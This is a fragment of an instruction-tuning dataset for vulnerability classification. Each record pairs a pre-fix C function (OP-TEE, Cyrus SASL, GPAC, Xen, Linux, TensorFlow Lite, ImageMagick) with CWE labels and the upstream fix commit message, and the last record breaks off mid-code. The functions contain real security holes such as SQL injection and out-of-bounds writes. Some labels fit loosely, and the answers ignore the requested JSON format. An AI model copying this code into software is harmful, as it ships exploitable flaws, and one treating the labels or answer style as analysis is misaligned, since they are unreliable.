+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TEE_Result syscall_hash_final(unsigned long state, const void *chunk,\n\t\t\tsize_t chunk_size, void *hash, uint64_t *hash_len)\n{\n\tTEE_Result res, res2;\n\tsize_t hash_size;\n\tsize_t hlen = 0;\n\tstruct tee_cryp_state *cs;\n\tstruct tee_ta_session *sess;\n\n\t/* No data, but size provided isn't valid parameters. */\n\tif (!chunk && chunk_size)\n\t\treturn TEE_ERROR_BAD_PARAMETERS;\n\n\tres = tee_ta_get_current_session(&sess);\n\tif (res != TEE_SUCCESS)\n\t\treturn res;\n\n\tres = tee_mmu_check_access_rights(to_user_ta_ctx(sess->ctx),\n\t\t\t\t\t  TEE_MEMORY_ACCESS_READ |\n\t\t\t\t\t  TEE_MEMORY_ACCESS_ANY_OWNER,\n\t\t\t\t\t  (uaddr_t)chunk, chunk_size);\n\tif (res != TEE_SUCCESS)\n\t\treturn res;\n\n\tres = get_user_u64_as_size_t(&hlen, hash_len);\n\tif (res != TEE_SUCCESS)\n\t\treturn res;\n\n\tres = tee_mmu_check_access_rights(to_user_ta_ctx(sess->ctx),\n\t\t\t\t\t  TEE_MEMORY_ACCESS_READ |\n\t\t\t\t\t  TEE_MEMORY_ACCESS_WRITE |\n\t\t\t\t\t  TEE_MEMORY_ACCESS_ANY_OWNER,\n\t\t\t\t\t  (uaddr_t)hash, hlen);\n\tif (res != TEE_SUCCESS)\n\t\treturn res;\n\n\tres = tee_svc_cryp_get_state(sess, tee_svc_uref_to_vaddr(state), &cs);\n\tif (res != TEE_SUCCESS)\n\t\treturn res;\n\n\tswitch (TEE_ALG_GET_CLASS(cs->algo)) {\n\tcase TEE_OPERATION_DIGEST:\n\t\tres = tee_hash_get_digest_size(cs->algo, &hash_size);\n\t\tif (res != TEE_SUCCESS)\n\t\t\treturn res;\n\t\tif (hlen < hash_size) {\n\t\t\tres = TEE_ERROR_SHORT_BUFFER;\n\t\t\tgoto out;\n\t\t}\n\n\t\tif (chunk_size) {\n\t\t\tres = crypto_hash_update(cs->ctx, cs->algo, chunk,\n\t\t\t\t\t\t chunk_size);\n\t\t\tif (res != TEE_SUCCESS)\n\t\t\t\treturn res;\n\t\t}\n\n\t\tres = crypto_hash_final(cs->ctx, cs->algo, hash, hash_size);\n\t\tif (res != TEE_SUCCESS)\n\t\t\treturn res;\n\t\tbreak;\n\n\tcase TEE_OPERATION_MAC:\n\t\tres = tee_mac_get_digest_size(cs->algo, &hash_size);\n\t\tif (res != TEE_SUCCESS)\n\t\t\treturn res;\n\t\tif (hlen < hash_size) {\n\t\t\tres = TEE_ERROR_SHORT_BUFFER;\n\t\t\tgoto out;\n\t\t}\n\n\t\tif (chunk_size) {\n\t\t\tres = crypto_mac_update(cs->ctx, cs->algo, chunk,\n\t\t\t\t\t\tchunk_size);\n\t\t\tif (res != TEE_SUCCESS)\n\t\t\t\treturn res;\n\t\t}\n\n\t\tres = crypto_mac_final(cs->ctx, cs->algo, hash, hash_size);\n\t\tif (res != TEE_SUCCESS)\n\t\t\treturn res;\n\t\tbreak;\n\n\tdefault:\n\t\treturn TEE_ERROR_BAD_PARAMETERS;\n\t}\nout:\n\tres2 = put_user_u64(hash_len, hash_size);\n\tif (res2 != TEE_SUCCESS)\n\t\treturn res2;\n\treturn res;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-327'], 'message': 'cryp: prevent direct calls to update and final functions\n\nWith inconsistent or malformed data it has been possible to call\n\"update\" and \"final\" crypto functions directly. Using a fuzzer tool [1]\nwe have seen that this results in asserts, i.e., a crash that\npotentially could leak sensitive information.\n\nBy setting the state (initialized) in the crypto context (i.e., the\ntee_cryp_state) at the end of all syscall_*_init functions and then add\na check of the state at the beginning of all update and final functions,\n  we prevent direct entrance to the \"update\" and \"final\" functions.\n\n[1] https://github.com/MartijnB/optee_fuzzer\n\nFixes: OP-TEE-2019-0021\n\nSigned-off-by: Joakim Bech \nReported-by: Martijn Bogaard \nAcked-by: Jerome Forissier \nReviewed-by: Jens Wiklander '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int sql_auxprop_store(void *glob_context,\n\t\t\t     sasl_server_params_t *sparams,\n\t\t\t     struct propctx *ctx,\n\t\t\t     const char *user,\n\t\t\t     unsigned ulen) \n{\n    char *userid = NULL;\n    char *realm = NULL;\n    const char *user_realm = NULL;\n    int ret = SASL_FAIL;\n    const struct propval *to_store, *cur;\n    \n    char *user_buf;\n    char *statement = NULL;\n    char *escap_userid = NULL;\n    char *escap_realm = NULL;\n    const char *cmd;\n    \n    sql_settings_t *settings;\n    void *conn = NULL;\n    \n    settings = (sql_settings_t *) glob_context; \n\n    /* just checking if we are enabled */\n    if (!ctx &&\n\tsql_exists(settings->sql_insert) &&\n\tsql_exists(settings->sql_update)) return SASL_OK;\n    \n    /* make sure our input is okay */\n    if (!glob_context || !sparams || !user) return SASL_BADPARAM;\n    \n    sparams->utils->log(sparams->utils->conn, SASL_LOG_DEBUG,\n\t\t\t\"sql plugin Parse the username %s\\n\", user);\n    \n    user_buf = sparams->utils->malloc(ulen + 1);\n    if (!user_buf) {\n\tret = SASL_NOMEM;\n\tgoto done;\n    }\n    \n    memcpy(user_buf, user, ulen);\n    user_buf[ulen] = '\\0';\n    \n    if (sparams->user_realm) {\n\tuser_realm = sparams->user_realm;\n    }\n    else {\n\tuser_realm = sparams->serverFQDN;\n    }\n    \n    ret = _plug_parseuser(sparams->utils, &userid, &realm, user_realm,\n\t\t\t  sparams->serverFQDN, user_buf);\n    if (ret != SASL_OK)\tgoto done;\n    \n    /* just need to escape userid and realm now */\n    /* allocate some memory */\n    \n    escap_userid = (char *) sparams->utils->malloc(strlen(userid)*2+1);\n    escap_realm = (char *) sparams->utils->malloc(strlen(realm)*2+1);\n    \n    if (!escap_userid || !escap_realm) {\n\tMEMERROR(sparams->utils);\n\tgoto done;\n    }\n    \n    to_store = sparams->utils->prop_get(ctx);\n    \n    if (!to_store) {\n\tret = SASL_BADPARAM;\n\tgoto done;\n    }\n\n    conn = sql_connect(settings, sparams->utils);\n    if (!conn) {\n\tsparams->utils->log(sparams->utils->conn, SASL_LOG_ERR,\n\t\t\t    \"sql plugin couldn't connect to any host\\n\");\n\tgoto done;\n    }\n    \n    settings->sql_engine->sql_escape_str(escap_userid, userid);\n    settings->sql_engine->sql_escape_str(escap_realm, realm);\n    \n    if (settings->sql_engine->sql_begin_txn(conn, sparams->utils)) {\n\tsparams->utils->log(sparams->utils->conn, SASL_LOG_ERR,\n\t\t\t    \"Unable to begin transaction\\n\");\n    }\n    for (cur = to_store; ret == SASL_OK && cur->name; cur++) {\n\n\tif (cur->name[0] == '*') {\n\t    continue;\n\t}\n\n\t/* determine which command we need */\n\t/* see if we already have a row for this user */\n\tstatement = sql_create_statement(settings->sql_select,\n\t\t\t\t\t SQL_WILDCARD, escap_userid,\n\t\t\t\t\t escap_realm, NULL,\n\t\t\t\t\t sparams->utils);\n\tif (!settings->sql_engine->sql_exec(conn, statement, NULL, 0, NULL,\n\t\t\t\t\t    sparams->utils)) {\n\t    /* already have a row => UPDATE */\n\t    cmd = settings->sql_update;\n\t} else {\n\t    /* new row => INSERT */\n\t    cmd = settings->sql_insert;\n\t}\n\tsparams->utils->free(statement);\n\n\t/* create a statement that we will use */\n\tstatement = sql_create_statement(cmd, cur->name, escap_userid,\n\t\t\t\t\t escap_realm,\n\t\t\t\t\t cur->values && cur->values[0] ?\n\t\t\t\t\t cur->values[0] : SQL_NULL_VALUE,\n\t\t\t\t\t sparams->utils);\n\t\n\t{\n\t    char *log_statement =\n\t\tsql_create_statement(cmd, cur->name,\n\t\t\t\t     escap_userid,\n\t\t\t\t     escap_realm,\n\t\t\t\t     cur->values && cur->values[0] ?\n\t\t\t\t     \"\" : SQL_NULL_VALUE,\n\t\t\t\t     sparams->utils);\n\t    sparams->utils->log(sparams->utils->conn, SASL_LOG_DEBUG,\n\t\t\t\t\"sql plugin doing statement %s\\n\",\n\t\t\t\tlog_statement);\n\t    sparams->utils->free(log_statement);\n\t}\n\t\n\t/* run the statement */\n\tif (settings->sql_engine->sql_exec(conn, statement, NULL, 0, NULL,\n\t\t\t\t\t   sparams->utils)) {\n\t    ret = SASL_FAIL;\n\t}\n\t\n\tsparams->utils->free(statement);\n    }\n    if (ret != SASL_OK) {\n\tsparams->utils->log(sparams->utils->conn, SASL_LOG_ERR,\n\t\t\t    \"Failed to store auxprop; aborting transaction\\n\");\n\tif (settings->sql_engine->sql_rollback_txn(conn, sparams->utils)) {\n\t    sparams->utils->log(sparams->utils->conn, SASL_LOG_ERR,\n\t\t\t\t\"Unable to rollback transaction\\n\");\n\t}\n    }\n    else if (settings->sql_engine->sql_commit_txn(conn, sparams->utils)) {\n\tsparams->utils->log(sparams->utils->conn, SASL_LOG_ERR,\n\t\t\t    \"Unable to commit transaction\\n\");\n    }\n    \n  done:\n    if (escap_userid) sparams->utils->free(escap_userid);\n    if (escap_realm) sparams->utils->free(escap_realm);\n    if (conn) settings->sql_engine->sql_close(conn);\n    if (userid) sparams->utils->free(userid);\n    if (realm) sparams->utils->free(realm);\n    if (user_buf) sparams->utils->free(user_buf);\n    \n    return ret;\n    \n    /* do a little dance */\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-89'], 'message': 'CVE-2022-24407 Escape password for SQL insert/update commands.\n\nSigned-off-by: Klaus Espenlaub '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: GF_Err infe_box_read(GF_Box *s, GF_BitStream *bs)\n{\n\tchar *buf;\n\tu32 buf_len, i, string_len, string_start;\n\tGF_ItemInfoEntryBox *ptr = (GF_ItemInfoEntryBox *)s;\n\n\tISOM_DECREASE_SIZE(ptr, 4);\n\tptr->item_ID = gf_bs_read_u16(bs);\n\tptr->item_protection_index = gf_bs_read_u16(bs);\n\n\tif (ptr->version == 2) {\n\t\tISOM_DECREASE_SIZE(ptr, 4);\n\t\tptr->item_type = gf_bs_read_u32(bs);\n\t}\n\tbuf_len = (u32) (ptr->size);\n\tbuf = (char*)gf_malloc(buf_len);\n\tif (!buf) return GF_OUT_OF_MEM;\n\tif (buf_len != gf_bs_read_data(bs, buf, buf_len)) {\n\t\tgf_free(buf);\n\t\treturn GF_ISOM_INVALID_FILE;\n\t}\n\tstring_len = 1;\n\tstring_start = 0;\n\tfor (i = 0; i < buf_len; i++) {\n\t\tif (buf[i] == 0) {\n\t\t\tif (!ptr->item_name) {\n\t\t\t\tptr->item_name = (char*)gf_malloc(sizeof(char)*string_len);\n\t\t\t\tif (!ptr->item_name) return GF_OUT_OF_MEM;\n\t\t\t\tmemcpy(ptr->item_name, buf+string_start, string_len);\n\t\t\t} else if (!ptr->content_type) {\n\t\t\t\tptr->content_type = (char*)gf_malloc(sizeof(char)*string_len);\n\t\t\t\tif (!ptr->content_type) return GF_OUT_OF_MEM;\n\t\t\t\tmemcpy(ptr->content_type, buf+string_start, string_len);\n\t\t\t} else {\n\t\t\t\tptr->content_encoding = (char*)gf_malloc(sizeof(char)*string_len);\n\t\t\t\tif (!ptr->content_encoding) return GF_OUT_OF_MEM;\n\t\t\t\tmemcpy(ptr->content_encoding, buf+string_start, string_len);\n\t\t\t}\n\t\t\tstring_start += string_len;\n\t\t\tstring_len = 0;\n\t\t\tif (ptr->content_encoding && ptr->version == 1) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tstring_len++;\n\t}\n\tgf_free(buf);\n\tif (!ptr->item_name || (!ptr->content_type && ptr->version < 2)) {\n\t\tGF_LOG(GF_LOG_WARNING, GF_LOG_CONTAINER, (\"[isoff] Infe without name or content type !\\n\"));\n\t}\n\treturn GF_OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-401', 'CWE-787'], 'message': 'fixed #1786 (fuzz)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int xen_netbk_get_extras(struct xenvif *vif,\n\t\t\t\tstruct xen_netif_extra_info *extras,\n\t\t\t\tint work_to_do)\n{\n\tstruct xen_netif_extra_info extra;\n\tRING_IDX cons = vif->tx.req_cons;\n\n\tdo {\n\t\tif (unlikely(work_to_do-- <= 0)) {\n\t\t\tnetdev_dbg(vif->dev, \"Missing extra info\\n\");\n\t\t\treturn -EBADR;\n\t\t}\n\n\t\tmemcpy(&extra, RING_GET_REQUEST(&vif->tx, cons),\n\t\t       sizeof(extra));\n\t\tif (unlikely(!extra.type ||\n\t\t\t     extra.type >= XEN_NETIF_EXTRA_TYPE_MAX)) {\n\t\t\tvif->tx.req_cons = ++cons;\n\t\t\tnetdev_dbg(vif->dev,\n\t\t\t\t   \"Invalid extra type: %d\\n\", extra.type);\n\t\t\treturn -EINVAL;\n\t\t}\n\n\t\tmemcpy(&extras[extra.type - 1], &extra, sizeof(extra));\n\t\tvif->tx.req_cons = ++cons;\n\t} while (extra.flags & XEN_NETIF_EXTRA_FLAG_MORE);\n\n\treturn work_to_do;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20'], 'message': 'xen/netback: shutdown the ring if it contains garbage.\n\nA buggy or malicious frontend should not be able to confuse netback.\nIf we spot anything which is not as it should be then shutdown the\ndevice and don't try to continue with the ring in a potentially\nhostile state. Well behaved and non-hostile frontends will not be\npenalised.\n\nAs well as making the existing checks for such errors fatal also add a\nnew check that ensures that there isn't an insane number of requests\non the ring (i.e. more than would fit in the ring). If the ring\ncontains garbage then previously is was possible to loop over this\ninsane number, getting an error each time and therefore not generating\nany more pending requests and therefore not exiting the loop in\nxen_netbk_tx_build_gops for an externded period.\n\nAlso turn various netdev_dbg calls which no precipitate a fatal error\ninto netdev_err, they are rate limited because the device is shutdown\nafterwards.\n\nThis fixes at least one known DoS/softlockup of the backend domain.\n\nSigned-off-by: Ian Campbell \nReviewed-by: Konrad Rzeszutek Wilk \nAcked-by: Jan Beulich \nSigned-off-by: David S. Miller '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int ib_update_cm_av(struct ib_cm_id *id, const u8 *smac, const u8 *alt_smac)\n{\n\tstruct cm_id_private *cm_id_priv;\n\n\tcm_id_priv = container_of(id, struct cm_id_private, id);\n\n\tif (smac != NULL)\n\t\tmemcpy(cm_id_priv->av.smac, smac, sizeof(cm_id_priv->av.smac));\n\n\tif (alt_smac != NULL)\n\t\tmemcpy(cm_id_priv->alt_av.smac, alt_smac,\n\t\t       sizeof(cm_id_priv->alt_av.smac));\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20'], 'message': 'IB/core: Don't resolve passive side RoCE L2 address in CMA REQ handler\n\nThe code that resolves the passive side source MAC within the rdma_cm\nconnection request handler was both redundant and buggy, so remove it.\n\nIt was redundant since later, when an RC QP is modified to RTR state,\nthe resolution will take place in the ib_core module.  It was buggy\nbecause this callback also deals with UD SIDR exchange, for which we\nincorrectly looked at the REQ member of the CM event and dereferenced\na random value.\n\nFixes: dd5f03beb4f7 (\"IB/core: Ethernet L2 attributes in verbs/cm structures\")\nSigned-off-by: Moni Shoua \nSigned-off-by: Or Gerlitz \nSigned-off-by: Roland Dreier '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: xlate_to_uni(const unsigned char *name, int len, unsigned char *outname,\n\t     int *longlen, int *outlen, int escape, int utf8,\n\t     struct nls_table *nls)\n{\n\tconst unsigned char *ip;\n\tunsigned char nc;\n\tunsigned char *op;\n\tunsigned int ec;\n\tint i, k, fill;\n\tint charlen;\n\n\tif (utf8) {\n\t\t*outlen = utf8s_to_utf16s(name, len, (wchar_t *)outname);\n\t\tif (*outlen < 0)\n\t\t\treturn *outlen;\n\t\telse if (*outlen > FAT_LFN_LEN)\n\t\t\treturn -ENAMETOOLONG;\n\n\t\top = &outname[*outlen * sizeof(wchar_t)];\n\t} else {\n\t\tif (nls) {\n\t\t\tfor (i = 0, ip = name, op = outname, *outlen = 0;\n\t\t\t     i < len && *outlen <= FAT_LFN_LEN;\n\t\t\t     *outlen += 1)\n\t\t\t{\n\t\t\t\tif (escape && (*ip == ':')) {\n\t\t\t\t\tif (i > len - 5)\n\t\t\t\t\t\treturn -EINVAL;\n\t\t\t\t\tec = 0;\n\t\t\t\t\tfor (k = 1; k < 5; k++) {\n\t\t\t\t\t\tnc = ip[k];\n\t\t\t\t\t\tec <<= 4;\n\t\t\t\t\t\tif (nc >= '0' && nc <= '9') {\n\t\t\t\t\t\t\tec |= nc - '0';\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (nc >= 'a' && nc <= 'f') {\n\t\t\t\t\t\t\tec |= nc - ('a' - 10);\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (nc >= 'A' && nc <= 'F') {\n\t\t\t\t\t\t\tec |= nc - ('A' - 10);\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn -EINVAL;\n\t\t\t\t\t}\n\t\t\t\t\t*op++ = ec & 0xFF;\n\t\t\t\t\t*op++ = ec >> 8;\n\t\t\t\t\tip += 5;\n\t\t\t\t\ti += 5;\n\t\t\t\t} else {\n\t\t\t\t\tif ((charlen = nls->char2uni(ip, len - i, (wchar_t *)op)) < 0)\n\t\t\t\t\t\treturn -EINVAL;\n\t\t\t\t\tip += charlen;\n\t\t\t\t\ti += charlen;\n\t\t\t\t\top += 2;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (i < len)\n\t\t\t\treturn -ENAMETOOLONG;\n\t\t} else {\n\t\t\tfor (i = 0, ip = name, op = outname, *outlen = 0;\n\t\t\t     i < len && *outlen <= FAT_LFN_LEN;\n\t\t\t     i++, *outlen += 1)\n\t\t\t{\n\t\t\t\t*op++ = *ip++;\n\t\t\t\t*op++ = 0;\n\t\t\t}\n\t\t\tif (i < len)\n\t\t\t\treturn -ENAMETOOLONG;\n\t\t}\n\t}\n\n\t*longlen = *outlen;\n\tif (*outlen % 13) {\n\t\t*op++ = 0;\n\t\t*op++ = 0;\n\t\t*outlen += 1;\n\t\tif (*outlen % 13) {\n\t\t\tfill = 13 - (*outlen % 13);\n\t\t\tfor (i = 0; i < fill; i++) {\n\t\t\t\t*op++ = 0xff;\n\t\t\t\t*op++ = 0xff;\n\t\t\t}\n\t\t\t*outlen += fill;\n\t\t}\n\t}\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'NLS: improve UTF8 -> UTF16 string conversion routine\n\nThe utf8s_to_utf16s conversion routine needs to be improved.  Unlike\nits utf16s_to_utf8s sibling, it doesn't accept arguments specifying\nthe maximum length of the output buffer or the endianness of its\n16-bit output.\n\nThis patch (as1501) adds the two missing arguments, and adjusts the\nonly two places in the kernel where the function is called.  A\nfollow-on patch will add a third caller that does utilize the new\ncapabilities.\n\nThe two conversion routines are still annoyingly inconsistent in the\nway they handle invalid byte combinations.  But that's a subject for a\ndifferent patch.\n\nSigned-off-by: Alan Stern \nCC: Clemens Ladisch \nSigned-off-by: Greg Kroah-Hartman '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: __u32 secure_tcpv6_sequence_number(__be32 *saddr, __be32 *daddr,\n\t\t\t\t   __be16 sport, __be16 dport)\n{\n\t__u32 seq;\n\t__u32 hash[12];\n\tstruct keydata *keyptr = get_keyptr();\n\n\t/* The procedure is the same as for IPv4, but addresses are longer.\n\t * Thus we must use twothirdsMD4Transform.\n\t */\n\n\tmemcpy(hash, saddr, 16);\n\thash[4] = ((__force u16)sport << 16) + (__force u16)dport;\n\tmemcpy(&hash[5], keyptr->secret, sizeof(__u32) * 7);\n\n\tseq = twothirdsMD4Transform((const __u32 *)daddr, hash) & HASH_MASK;\n\tseq += keyptr->count;\n\n\tseq += ktime_to_ns(ktime_get_real());\n\n\treturn seq;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': 'net: Compute protocol sequence numbers and fragment IDs using MD5.\n\nComputers have become a lot faster since we compromised on the\npartial MD4 hash which we use currently for performance reasons.\n\nMD5 is a much safer choice, and is inline with both RFC1948 and\nother ISS generators (OpenBSD, Solaris, etc.)\n\nFurthermore, only having 24-bits of the sequence number be truly\nunpredictable is a very serious limitation.  So the periodic\nregeneration and 8-bit counter have been removed.  We compute and\nuse a full 32-bit sequence number.\n\nFor ipv6, DCCP was found to use a 32-bit truncated initial sequence\nnumber (it needs 43-bits) and that is fixed here as well.\n\nReported-by: Dan Kaminsky \nTested-by: Willy Tarreau \nSigned-off-by: David S. Miller '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteStatus EvalHybridPerChannel(TfLiteContext* context, TfLiteNode* node,\n                                  TfLiteDepthwiseConvParams* params,\n                                  OpData* data, const TfLiteTensor* input,\n                                  const TfLiteTensor* filter,\n                                  const TfLiteTensor* bias,\n                                  TfLiteTensor* output) {\n  float output_activation_min, output_activation_max;\n  CalculateActivationRange(params->activation, &output_activation_min,\n                           &output_activation_max);\n  const int input_size = NumElements(input) / SizeOfDimension(input, 0);\n  const int batch_size = SizeOfDimension(input, 0);\n  TfLiteTensor* input_quantized;\n  TF_LITE_ENSURE_OK(context,\n                    GetTemporarySafe(context, node, data->input_quantized_index,\n                                     &input_quantized));\n  int8_t* quantized_input_ptr_batch = input_quantized->data.int8;\n  TfLiteTensor* scaling_factors_tensor;\n  TF_LITE_ENSURE_OK(context,\n                    GetTemporarySafe(context, node, data->scaling_factors_index,\n                                     &scaling_factors_tensor));\n  float* scaling_factors_ptr = GetTensorData(scaling_factors_tensor);\n  TfLiteTensor* input_offset_tensor;\n  TF_LITE_ENSURE_OK(context,\n                    GetTemporarySafe(context, node, data->input_offset_index,\n                                     &input_offset_tensor));\n  int32_t* input_offset_ptr = GetTensorData(input_offset_tensor);\n\n  for (int b = 0; b < batch_size; ++b) {\n    const int offset = b * input_size;\n    tensor_utils::AsymmetricQuantizeFloats(\n        GetTensorData(input) + offset, input_size,\n        quantized_input_ptr_batch + offset, &scaling_factors_ptr[b],\n        &input_offset_ptr[b]);\n  }\n\n  DepthwiseParams op_params;\n  op_params.padding_type = PaddingType::kSame;\n  op_params.padding_values.width = data->padding.width;\n  op_params.padding_values.height = data->padding.height;\n  op_params.stride_width = params->stride_width;\n  op_params.stride_height = params->stride_height;\n  op_params.dilation_width_factor = params->dilation_width_factor;\n  op_params.dilation_height_factor = params->dilation_height_factor;\n  op_params.depth_multiplier = params->depth_multiplier;\n\n  op_params.weights_offset = 0;\n  op_params.float_activation_min = output_activation_min;\n  op_params.float_activation_max = output_activation_max;\n  const auto* affine_quantization =\n      reinterpret_cast(filter->quantization.params);\n  if (kernel_type == kReference) {\n    reference_integer_ops::DepthwiseConvHybridPerChannel(\n        op_params, scaling_factors_ptr, GetTensorShape(input),\n        quantized_input_ptr_batch, GetTensorShape(filter),\n        GetTensorData(filter), GetTensorShape(bias),\n        GetTensorData(bias), GetTensorShape(output),\n        GetTensorData(output), affine_quantization->scale->data,\n        input_offset_ptr);\n  } else {\n    optimized_integer_ops::DepthwiseConvHybridPerChannel(\n        op_params, scaling_factors_ptr, GetTensorShape(input),\n        quantized_input_ptr_batch, GetTensorShape(filter),\n        GetTensorData(filter), GetTensorShape(bias),\n        GetTensorData(bias), GetTensorShape(output),\n        GetTensorData(output), affine_quantization->scale->data,\n        input_offset_ptr, CpuBackendContext::GetFromContext(context));\n  }\n\n  return kTfLiteOk;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-369'], 'message': 'Prevent divisions by 0\n\nPiperOrigin-RevId: 371003153\nChange-Id: Idef56c95b9fcaeb97f87e18c7a674dbeb5173204'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static MagickBooleanType WriteTIFFImage(const ImageInfo *image_info,\n  Image *image,ExceptionInfo *exception)\n{\n#if !defined(TIFFDefaultStripSize)\n#define TIFFDefaultStripSize(tiff,request)  (8192UL/TIFFScanlineSize(tiff))\n#endif\n\n  const char\n    *mode,\n    *option;\n\n  CompressionType\n    compression;\n\n  EndianType\n    endian_type;\n\n  MagickBooleanType\n    debug,\n    status;\n\n  MagickOffsetType\n    scene;\n\n  QuantumInfo\n    *quantum_info;\n\n  QuantumType\n    quantum_type;\n\n  register ssize_t\n    i;\n\n  size_t\n    length;\n\n  ssize_t\n    y;\n\n  TIFF\n    *tiff;\n\n  TIFFInfo\n    tiff_info;\n\n  uint16\n    bits_per_sample,\n    compress_tag,\n    endian,\n    photometric;\n\n  uint32\n    rows_per_strip;\n\n  unsigned char\n    *pixels;\n\n  /*\n    Open TIFF file.\n  */\n  assert(image_info != (const ImageInfo *) NULL);\n  assert(image_info->signature == MagickCoreSignature);\n  assert(image != (Image *) NULL);\n  assert(image->signature == MagickCoreSignature);\n  if (image->debug != MagickFalse)\n    (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",image->filename);\n  assert(exception != (ExceptionInfo *) NULL);\n  assert(exception->signature == MagickCoreSignature);\n  status=OpenBlob(image_info,image,WriteBinaryBlobMode,exception);\n  if (status == MagickFalse)\n    return(status);\n  (void) SetMagickThreadValue(tiff_exception,exception);\n  endian_type=UndefinedEndian;\n  option=GetImageOption(image_info,\"tiff:endian\");\n  if (option != (const char *) NULL)\n    {\n      if (LocaleNCompare(option,\"msb\",3) == 0)\n        endian_type=MSBEndian;\n      if (LocaleNCompare(option,\"lsb\",3) == 0)\n        endian_type=LSBEndian;;\n    }\n  switch (endian_type)\n  {\n    case LSBEndian: mode=\"wl\"; break;\n    case MSBEndian: mode=\"wb\"; break;\n    default: mode=\"w\"; break;\n  }\n#if defined(TIFF_VERSION_BIG)\n  if (LocaleCompare(image_info->magick,\"TIFF64\") == 0)\n    switch (endian_type)\n    {\n      case LSBEndian: mode=\"wl8\"; break;\n      case MSBEndian: mode=\"wb8\"; break;\n      default: mode=\"w8\"; break;\n    }\n#endif\n  tiff=TIFFClientOpen(image->filename,mode,(thandle_t) image,TIFFReadBlob,\n    TIFFWriteBlob,TIFFSeekBlob,TIFFCloseBlob,TIFFGetBlobSize,TIFFMapBlob,\n    TIFFUnmapBlob);\n  if (tiff == (TIFF *) NULL)\n    return(MagickFalse);\n  scene=0;\n  debug=IsEventLogging();\n  (void) debug;\n  do\n  {\n    /*\n      Initialize TIFF fields.\n    */\n    if ((image_info->type != UndefinedType) &&\n        (image_info->type != OptimizeType))\n      (void) SetImageType(image,image_info->type,exception);\n    compression=UndefinedCompression;\n    if (image->compression != JPEGCompression)\n      compression=image->compression;\n    if (image_info->compression != UndefinedCompression)\n      compression=image_info->compression;\n    switch (compression)\n    {\n      case FaxCompression:\n      case Group4Compression:\n      {\n        (void) SetImageType(image,BilevelType,exception);\n        (void) SetImageDepth(image,1,exception);\n        break;\n      }\n      case JPEGCompression:\n      {\n        (void) SetImageStorageClass(image,DirectClass,exception);\n        (void) SetImageDepth(image,8,exception);\n        break;\n      }\n      default:\n        break;\n    }\n    quantum_info=AcquireQuantumInfo(image_info,image);\n    if (quantum_info == (QuantumInfo *) NULL)\n      ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n    if ((image->storage_class != PseudoClass) && (image->depth >= 32) &&\n        (quantum_info->format == UndefinedQuantumFormat) &&\n        (IsHighDynamicRangeImage(image,exception) != MagickFalse))\n      {\n        status=SetQuantumFormat(image,quantum_info,FloatingPointQuantumFormat);\n        if (status == MagickFalse)\n          ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n      }\n    if ((LocaleCompare(image_info->magick,\"PTIF\") == 0) &&\n        (GetPreviousImageInList(image) != (Image *) NULL))\n      (void) TIFFSetField(tiff,TIFFTAG_SUBFILETYPE,FILETYPE_REDUCEDIMAGE);\n    if ((image->columns != (uint32) image->columns) ||\n        (image->rows != (uint32) image->rows))\n      ThrowWriterException(ImageError,\"WidthOrHeightExceedsLimit\");\n    (void) TIFFSetField(tiff,TIFFTAG_IMAGELENGTH,(uint32) image->rows);\n    (void) 